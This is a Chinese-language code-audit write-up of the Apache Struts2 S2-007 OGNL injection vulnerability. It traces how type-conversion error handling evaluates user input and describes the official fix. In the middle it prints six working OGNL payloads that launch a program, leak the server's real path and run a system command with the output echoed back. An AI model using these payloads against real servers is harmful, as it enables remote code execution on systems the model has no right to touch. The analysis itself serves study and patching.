本系列文章将详细分析 Java 流行框架 Struts2 的历史漏洞,今后关于 Struts2 新的漏洞分析,也将更新于 Struts2-Vuln 项目上。该系列仅是笔者初学 Java代码审计 的一些记录,也希望能够帮助到想学习 Java代码审计 的朋友 。如有任何问题,欢迎 issue 。分析文章均来自 个人博客 ,转载请注明出处。
漏洞概要
Struts2-007是一个远程代码执行漏洞。
影响版本: Struts 2.0.0 - Struts 2.2.3 。更多详情可参考官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007
漏洞环境
Apache Tomcat/8.5.47+struts-2.0.8
下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip
https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
漏洞分析
在 Struts2 中,可以将 HTTP 请求数据注入到实际业务 Action 的属性中。而这些属性可以是任意类型的数据,通过 HTTP 只能获取到 String 类型数据,所以这里存在类型转换。我们可以通过 xml 文件,来定义转换规则。例如,我这里定义了一个 UserAction 类,其有一个 Integer 类型的 age 属性,这里我们让其数值范围在 1-150 。
如果此时我们将 age 属性值设置成一个字符串,那么就会引发类型转换错误。Struts2 会将用户输入的数据经过处理再次返回给用户。
而在这个处理的过程中,就存在 OGNL 表达式注入。接下来,我们来看看具体的问题代码。我们先在 ConversionErrorInterceptor:intercept() 方法中打上断点(ConversionErrorInterceptor 类是专门用来处理类型转换失败的拦截器)
当发生类型转换错误时,程序会将用户输入的值存入 fakie 变量。在存入之前,会先将值用 getOverrideExpr 方法处理,我们跟进该方法。
在 getOverrideExpr 方法中,会在用户输入的值两边拼接上单引号,然后再将值存入刚刚的 fakie 变量。
接着程序会把 fakie 变量存入 OgnlValueStack.overrides 变量中
然后在解析到 Struts2 结束标签时,会将用户输入值经过 OGNL 执行并返回。如果先前 OgnlValueStack.overrides 存储过相关字段,则会先从 OgnlValueStack.overrides 中取出相关值,然后再通过 OGNL 执行,代码执行也就发生在此处。
我们来尝试弹个计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # 弹计算器 '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
# 获取绝对路径 '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
# 执行系统命令并回显 '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
|
漏洞修复
下图右边为官方修复后的代码(左图xwork-2.0.3,右图为xwork-2.2.3.1),可以看到新版本使用 org.apache.commons.lang.StringEscapeUtils.escapeJava() 来过滤字符串。
参考
https://cwiki.apache.org/confluence/display/WW/S2-007